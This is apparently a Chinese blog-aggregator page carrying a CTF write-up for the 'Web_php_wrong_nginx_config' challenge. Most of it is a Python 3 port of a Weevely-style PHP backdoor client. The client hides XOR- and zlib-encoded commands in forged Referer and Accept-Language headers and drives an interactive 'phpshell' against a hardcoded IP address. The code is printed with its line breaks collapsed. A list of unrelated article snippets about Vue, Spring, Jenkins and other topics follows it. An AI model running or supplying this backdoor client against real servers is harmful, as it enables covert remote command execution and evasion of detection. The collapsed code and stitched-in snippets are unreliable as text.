当前位置: 首页 > news >正文

攻防世界web:Web_php_wrong_nginx_config,python3后门

 网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的(源码来自:Weevely:一个 PHP 混淆后门的代码分析 - Phuker's Blog)

以下是转换成python3的版本

# encoding: utf-8from random import randint, choice
from hashlib import md5
import urllib.parse
import string
import zlib
import base64
import requests
import redef choicePart(seq, amount):length = len(seq)if length == 0 or length < amount:print('Error Input')return Noneresult = []indexes = []count = 0while count < amount:i = randint(0, length - 1)if i not in indexes:indexes.append(i)result.append(seq[i])count += 1if count == amount:return resultdef randBytesFlow(amount):result = b''for i in range(amount):result += bytes([randint(0, 255)])return resultdef randAlpha(amount):result = ''for i in range(amount):result += choice(string.ascii_letters)return resultdef loopXor(text, key):result = b''lenKey = len(key)lenTxt = len(text)iTxt = 0while iTxt < lenTxt:iKey = 0while iTxt < lenTxt and iKey < lenKey:result += bytes([key[iKey] ^ text[iTxt]])iTxt += 1iKey += 1return resultdef debugPrint(msg):if debugging:print(msg)# config
debugging = False
keyh = "42f7"  # $kh
keyf = "e9ac"  # $kf
xorKey = keyh + keyf
url = 'http://61.147.171.105:51610/hack.php'
defaultLang = 'zh-CN'
languages = ['zh-TW;q=0.%d', 'zh-HK;q=0.%d', 'en-US;q=0.%d', 'en;q=0.%d']
proxies = None  # {'http':'http://127.0.0.1:8080'} # proxy for debugsess = requests.Session()
# generate random Accept-Language only once each session
langTmp = choicePart(languages, 3)
indexes = sorted(choicePart(range(1, 10), 3), reverse=True)
acceptLang = [defaultLang]
for i in range(3):acceptLang.append(langTmp[i] % (indexes[i],))
acceptLangStr = ','.join(acceptLang)
debugPrint(acceptLangStr)
init2Char = acceptLang[0][0] + acceptLang[1][0]  # $i
md5head = (md5((init2Char + keyh).encode('utf-8')).hexdigest())[0:3]
md5tail = (md5((init2Char + keyf).encode('utf-8')).hexdigest())[0:3] + randAlpha(randint(3, 8))
debugPrint('$i is %s' % (init2Char,))
debugPrint('md5 head: %s' % (md5head,))
debugPrint('md5 tail: %s' % (md5tail,))
# Interactive php shell
cmd = input('phpshell > ')
while cmd != '':# build junk data in refererquery = []for i in range(max(indexes) + 1 + randint(0, 2)):key = randAlpha(randint(3, 6))value = base64.urlsafe_b64encode(randBytesFlow(randint(3, 12))).decode('utf-8')query.append((key, value))debugPrint('Before insert payload:')debugPrint(query)debugPrint(urllib.parse.urlencode(query))# encode payloadpayload = zlib.compress(cmd.encode('utf-8'))payload = loopXor(payload, xorKey.encode('utf-8'))payload = base64.urlsafe_b64encode(payload).decode('utf-8')payload = md5head + payload# cut payload, replace into referercutIndex = randint(2, len(payload) - 3)payloadPieces = (payload[0:cutIndex], payload[cutIndex:], md5tail)iPiece = 0for i in indexes:query[i] = (query[i][0], payloadPieces[iPiece])iPiece += 1referer = url + '?' + urllib.parse.urlencode(query)debugPrint('After insert payload, referer is:')debugPrint(query)debugPrint(referer)# send requestr = sess.get(url, headers={'Accept-Language': acceptLangStr, 'Referer': referer}, proxies=proxies)html = r.textdebugPrint(html)# process responsepattern = re.compile(r'<%s>(.*)</%s>' % (xorKey, xorKey))output = pattern.findall(html)if len(output) == 0:print('Error,  no backdoor response')cmd = input('phpshell > ')continueoutput = output[0]debugPrint(output)output = base64.b64decode(output.encode('utf-8'))output = loopXor(output, xorKey.encode('utf-8'))output = zlib.decompress(output).decode('utf-8')print(output)cmd = input('phpshell > ')

相关文章:

攻防世界web:Web_php_wrong_nginx_config,python3后门

网上的wp中关于Web_php_wrong_nginx_config的后门代码都是python2的&#xff08;源码来自&#xff1a;Weevely&#xff1a;一个 PHP 混淆后门的代码分析 - Phukers Blog&#xff09; 以下是转换成python3的版本 # encoding: utf-8from random import randint, choice from ha…...

【VUE】解决图片视频加载缓慢/首屏加载白屏的问题

1 问题描述 在 Vue3 项目中&#xff0c;有时候会出现图片视频加载缓慢、首屏加载白屏的问题 2 原因分析 通常是由以下原因导致的&#xff1a; 图片或视频格式不当&#xff1a;如果图片或视频格式选择不当&#xff0c;比如选择了无损压缩格式&#xff0c;可能会导致文件大小过大…...

spring复习:(35)在getBean时,在哪里根据普通bean和工厂bean进行区分处理来返回的?

在AbstractBeanFactory的doGetBean方法&#xff1a; 调用的getObjectForBeanInstance方法部分代码如下&#xff1a; 如果不是工厂bean,则直接将实例返回&#xff0c;否则调用getObjectFromFactoryBean方法获取工厂bean的getObject方法返回的对象 protected Object getObjectF…...

Jenkins全栈体系(二)

Jenkins 第三章 Jenkins Git Maven 自动化部署配置 十、几种构建方式 快照依赖构建/Build whenever a SNAPSHOT dependency is built 当依赖的快照被构建时执行本job 触发远程构建 (例如,使用脚本) 远程调用本job的restapi时执行本job job依赖构建/Build after other proj…...

c++11 标准模板(STL)(std::basic_istream)(九)

定义于头文件 <istream> template< class CharT, class Traits std::char_traits<CharT> > class basic_istream : virtual public std::basic_ios<CharT, Traits> 类模板 basic_istream 提供字符流上的高层输入支持。受支持操作包含带格式的…...

OpenSource - Spring Startup Ananlyzer

文章目录 &#x1f680;Optimization of Spring Startup核心能力&#x1f4c8;Spring应用启动数据采集报告应用启动时长优化 &#x1f4c8;Spring应用启动数据采集报告安装jar包配置项应用启动自定义扩展 &#x1f680;应用启动时长优化支持异步化的Bean类型接入异步Bean优化 开…...

ES6迭代器、Set、Map集合和async异步函数

目录 迭代器 Iterator 的作用 Iterator 的遍历过程 Set Map集合 map和对象区别? async异步函数 迭代器 迭代器&#xff08;Iterator&#xff09;就是这样一种机制。它是一种接口&#xff0c;为各种不同的数据结构提供统一的访问机制。任何数据结构只要部署Iterator接口&…...

mac android studio设置跟mac系统一样的快捷键

mac版的android studio 跟mac系统的快捷键不一样,主要修改了下面几组操作,为了跟mac系统快捷键相同 setting->Keymap 搜索bottom 修改3个快捷键: cmd↓ 设置让鼠标移动到屏幕最后面 shiftcmd↓ 选中从当前位置到屏幕最下面 option↓. 或者 end 滚动到屏幕最下方 // 因为默认…...

Java-通过IP获取真实地址

文章目录 前言功能实现测试 前言 最近写了一个日志系统&#xff0c;需要通过访问的 IP 地址来获取真实的地址&#xff0c;并且存到数据库中&#xff0c;我也是在网上看了一些文章&#xff0c;遂即整理了一下供大家参考。 功能实现 这个是获取正确 IP 地址的方法&#xff0c;可…...

Java代码实现word转PDF

import com.spire.doc.Document; import com.spire.doc.FileFormat; import lombok.extern.slf4j.Slf4j; public class WordConvertPdf { /** * word转pdf * param wordPathName word文件路径及名称 * param pdfPathName pdf生成路径及名称 */ public static void wordToPdf(…...

Java设计模式-简单工厂(Simple Factory)模式

介绍 简单工厂&#xff08;Simple Factory&#xff09;模式&#xff0c;又称为静态工厂方法&#xff08;Static Factory Method&#xff09;模式。 由一个工厂类来创建具体产品&#xff0c;即创建具体类的实例。 简单工厂模式从概念上涉及三个角色&#xff1a; 抽象产品角色…...

微软所有业务线梳理

目录 一、Windows 二、Office 三、Surface 四、Xbox 五、Azure 六、Dynamics 七、LinkedIn 八、Bing...

SDN系统方法 | 1. 概述

随着互联网和数据中心流量的爆炸式增长&#xff0c;SDN已经逐步取代静态路由交换设备成为构建网络的主流方式&#xff0c;本系列是免费电子书《Software-Defined Networks: A Systems Approach》的中文版&#xff0c;完整介绍了SDN的概念、原理、架构和实现方式。原文: Softwar…...

【数据分享】1929-2022年全球站点的逐日平均压力数据(Shp\Excel\12000个站点)

气象数据是在各项研究中都经常使用的数据&#xff0c;气象指标包括气温、风速、降水、能见度等指标&#xff0c;说到气象数据&#xff0c;最详细的气象数据是具体到气象监测站点的数据&#xff01; 对于具体到监测站点的气象数据&#xff0c;之前我们分享过1929-2022年全球气象…...

Profibus DP主站转Modbus TCP网关profibus从站地址范围

远创智控YC-DPM-TCP网关。这款产品在Profibus总线侧实现了主站功能&#xff0c;在以太网侧实现了ModbusTcp服务器功能&#xff0c;为我们的工业自动化网络带来了全新的可能。 远创智控YC-DPM-TCP网关是如何实现这些功能的呢&#xff1f;首先&#xff0c;让我们来看看它的Profib…...

MySQL子查询

&#x1f607;作者介绍&#xff1a;一个有梦想、有理想、有目标的&#xff0c;且渴望能够学有所成的追梦人。 &#x1f386;学习格言&#xff1a;不读书的人,思想就会停止。——狄德罗 ⛪️个人主页&#xff1a;进入博主主页 &#x1f5fc;专栏系列&#xff1a;进入MySQL专栏知…...

学IT上培训班有用吗?

在学习IT技术的过程中&#xff0c;你是否也被安利过各种五花八门的技术培训班&#xff1f;这些培训班都是怎样向你宣传的&#xff0c;你又对此抱有着怎样的态度呢&#xff1f;在培训班里学技术&#xff0c;真的有用吗&#xff1f; 首先&#xff0c;IT行业是一个充满机遇和挑战…...

BI如何对接金蝶云星空数据源?奥威BI SaaS平台有绝招

传统BI部署时需要大量硬件和软件支持&#xff0c;而SaaS BI不仅不需要&#xff0c;还能让企业的数据可视化分析变得更加简单便捷&#xff0c;因此已经渐渐成为数字化时代的BI新趋势。那么&#xff0c;SaaS BI平台是如何快速接入数据完成数据可视化分析的&#xff1f;下面就以奥…...

鼎镁科技冲刺A股上市失败,董事长涂季冰三年薪水超过6000万元

7月15日&#xff0c;上海证券交易所披露的信息显示&#xff0c;因鼎镁新材料科技股份有限公司&#xff08;下称“鼎镁科技”&#xff09;审核不通过&#xff0c;上海证券交易所终止其发行上市审核。这意味着&#xff0c;鼎镁科技此次上市之旅彻底失败。 据贝多财经了解&#xf…...

PostgreSQL【应用 02】扩展SQL之C语言函数(编写、编译、载入)实例分享

C语言函数 1.准备1.1 开发文档1.2 工具安装 2.开始2.1 编写C语言函数2.2 编译和链接动态载入的函数 通过使用 PostgreSQL 的 C 函数接口&#xff0c;我们可以编写用 C 语言实现的函数&#xff0c;并将其集成到数据库中。这些函数可以在 SQL 查询中像其他内置函数一样被调用&…...

小米平板5 Windows驱动包:让Windows在平板上流畅运行的终极指南

小米平板5 Windows驱动包&#xff1a;让Windows在平板上流畅运行的终极指南 【免费下载链接】MiPad5-Drivers Based on Surface Duo Drivers. 项目地址: https://gitcode.com/gh_mirrors/mi/MiPad5-Drivers 想要在小米平板5上完美运行Windows系统吗&#xff1f;MiPad5-D…...

IDEA里JProfiler插件怎么配?手把手教你分析Spring Boot内存泄漏(附OOM复现技巧)

IDEA集成JProfiler实战&#xff1a;Spring Boot内存泄漏分析与OOM复现技巧 作为Java开发者&#xff0c;你是否经历过这样的场景&#xff1a;线上服务突然崩溃&#xff0c;日志里赫然写着java.lang.OutOfMemoryError&#xff0c;而你却无从下手&#xff1f;本文将带你深入Intell…...

英语体育比赛口语

一、看比赛1. 邀约看球中文英文今晚有比赛&#xff0c;一起看吗&#xff1f;Theres a game tonight. Want to watch together?你看了昨晚的比赛吗&#xff1f;Did you watch the game last night?决赛什么时候&#xff1f;When is the final?我们去酒吧看球吧&#xff01;Le…...

GDPR、数据出境、合规审计:2026年调用IP查询接口必须知道的三个红线

2026年数据安全领域最显著的变化&#xff0c;莫过于监管从”发文警示”转向”实质执法”。公开数据显示&#xff0c;仅2026年2月就有14家银行因网络安全/数据安全问题收到罚单&#xff0c;其中最高单笔罚款超过300万元&#xff0c;相关科技部门负责人也面临个人追责。值得注意的…...

如何使用NoFences实现高效的Windows桌面图标管理

如何使用NoFences实现高效的Windows桌面图标管理 【免费下载链接】NoFences &#x1f6a7; Open Source Stardock Fences alternative 项目地址: https://gitcode.com/gh_mirrors/no/NoFences NoFences是一款开源免费的Windows桌面管理工具&#xff0c;专门用于解决桌面…...

别再死记硬背了!用主成分分析(PCA)的实战案例,反向理解线性代数里的谱分解

从鸢尾花降维实战逆向拆解&#xff1a;为什么PCA中的谱分解是线性代数的精髓&#xff1f; 记得第一次用PCA处理鸢尾花数据集时&#xff0c;盯着sklearn输出的三维散点图发愣——明明原始数据有4个特征&#xff08;萼片长度、萼片宽度、花瓣长度、花瓣宽度&#xff09;&#xf…...

安卓蓝牙开发避坑指南:Bluedroid初始化流程中的5个关键细节

安卓蓝牙开发避坑指南&#xff1a;Bluedroid初始化流程中的5个关键细节 在安卓蓝牙协议栈开发中&#xff0c;Bluedroid的初始化流程是系统与蓝牙硬件建立通信的基础桥梁。许多看似随机的蓝牙功能异常&#xff0c;往往源于初始化阶段某些参数的微妙配置差异。本文将深入剖析五个…...

拆解RoboteX AVATAR机器人:4个电机如何驱动履带+摇臂?一份紧凑传动布局的保姆级图解

RoboteX AVATAR机器人传动系统深度解析&#xff1a;四电机协同驱动履带与摇臂的机械艺术 当第一次看到RoboteX AVATAR Tactical Robot在复杂地形中自如穿梭的视频时&#xff0c;很难不被它那看似简单却异常高效的移动方式所吸引。这款战术机器人的核心秘密&#xff0c;就藏在它…...

ThreadLocal内存泄漏警告!多线程MDC使用必须知道的3个避坑点

ThreadLocal内存泄漏实战&#xff1a;多线程MDC避坑指南与深度解决方案 当你在凌晨三点被报警电话惊醒&#xff0c;发现生产环境因为内存溢出而崩溃时&#xff0c;排查结果指向一个看似无害的MDC日志组件——这种场景在过去两年里我已经经历了三次。ThreadLocal作为MDC的底层实…...

USB2.0供电那些事儿:为什么你的外设总是供电不足?

USB2.0供电困境解析&#xff1a;从原理到实践的全面解决方案 当你的移动硬盘突然断开连接&#xff0c;或者外接键盘间歇性失灵时&#xff0c;很可能正遭遇USB2.0供电不足的经典难题。这种看似简单的接口背后&#xff0c;隐藏着复杂的电力分配机制与设备兼容性博弈。本文将带你穿…...